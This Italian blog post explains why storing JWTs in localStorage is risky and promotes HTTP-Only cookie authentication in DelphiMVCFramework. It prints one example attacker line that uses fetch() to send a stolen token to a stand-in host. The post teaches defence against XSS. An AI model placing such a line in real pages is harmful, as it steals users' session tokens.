Become a member!

JWT su Cookie HTTP-Only: Autenticazione Sicura in DelphiMVCFramework

🌐
Questo articolo e' disponibile anche in altre lingue:
πŸ‡¬πŸ‡§ English  β€’  πŸ‡ͺπŸ‡Έ EspaΓ±ol

I JSON Web Token (JWT) hanno rivoluzionato l’autenticazione nelle applicazioni web moderne. Sono stateless, scalabili, e permettono di implementare facilmente sistemi di autenticazione distribuiti. Ma con grande potere viene grande responsabilita'.

Il problema principale non e’ il JWT in se’ - e’ dove lo memorizzi sul client.

Il Pericolo di localStorage

Se hai sviluppato applicazioni web con autenticazione JWT, probabilmente hai scritto codice JavaScript simile a questo:

// L'approccio "classico" - PERICOLOSO!
async function login(username, password) {
  const response = await fetch('/api/login', {
    method: 'POST',
    headers: { 'Content-Type': 'application/json' },
    body: JSON.stringify({ username, password })
  });

  const data = await response.json();

  // Salviamo il token in localStorage - ERRORE!
  localStorage.setItem('jwt_token', data.token);
}

Questo codice funziona, ma e’ vulnerabile ad attacchi XSS (Cross-Site Scripting). Se un attaccante riesce a iniettare del codice JavaScript nella tua pagina, puo’ rubare il token con una sola riga:

// Codice dell'attaccante - ruba il token!
fetch('https://evil-server.com/steal?token=' + localStorage.getItem('jwt_token'));

Il Costo di una Violazione

Quando un token JWT viene rubato, l’attaccante ottiene accesso completo all’account dell’utente fino alla scadenza del token. Con token di lunga durata, questo puo’ significare ore o giorni di accesso non autorizzato.

Le conseguenze possono includere:

  • Furto di dati sensibili: L’attaccante puo’ accedere a tutte le API che l’utente legittimo puo’ usare
  • Azioni non autorizzate: Acquisti, trasferimenti di denaro, modifiche ai dati
  • Escalation di privilegi: Se l’utente e’ un amministratore, l’attaccante eredita i suoi permessi
  • Danni reputazionali: La tua applicazione sara’ ricordata per la violazione di sicurezza

Le Opzioni di Storage e i Loro Rischi

Storage Pro Contro Rischio XSS
localStorage Persistente, API semplice Accessibile da JavaScript ALTO
sessionStorage Isolato per tab Accessibile da JavaScript ALTO
Cookie standard Inviato automaticamente Accessibile da JavaScript ALTO
Cookie HTTP-Only Non accessibile da JavaScript Richiede configurazione server NULLO

La scelta e’ chiara: i cookie HTTP-Only sono l’unica opzione che elimina completamente il rischio di furto tramite XSS.

La Soluzione: TMVCJWTCookieAuthenticationMiddleware

DelphiMVCFramework 3.4.3+ introduce TMVCJWTCookieAuthenticationMiddleware, progettato con un approccio secure-by-default:

Impostazione Default Motivazione
HttpOnly True (sempre) Protezione XSS - non modificabile
Secure True Cookie solo su HTTPS
SameSite Strict Massima protezione CSRF

Il flag HttpOnly e’ sempre attivo e non puo’ essere disabilitato. Questa e’ una scelta di design deliberata: non c’e’ mai una ragione valida per rendere un token JWT accessibile a JavaScript.


πŸ“š Articolo Completo Riservato agli Iscritti

L'articolo completo include: anatomia degli attacchi XSS e CSRF, implementazione completa dell'Authentication Handler, flussi di autenticazione, integrazione con HTMX/Vue/React, token refresh automatico, scenari cross-origin, migrazione dal vecchio middleware, debugging e troubleshooting, checklist di sicurezza per la produzione.

Accedi all'Articolo Completo su Patreon β†’

PATREON Community

– Daniele Teti

Comments

comments powered by Disqus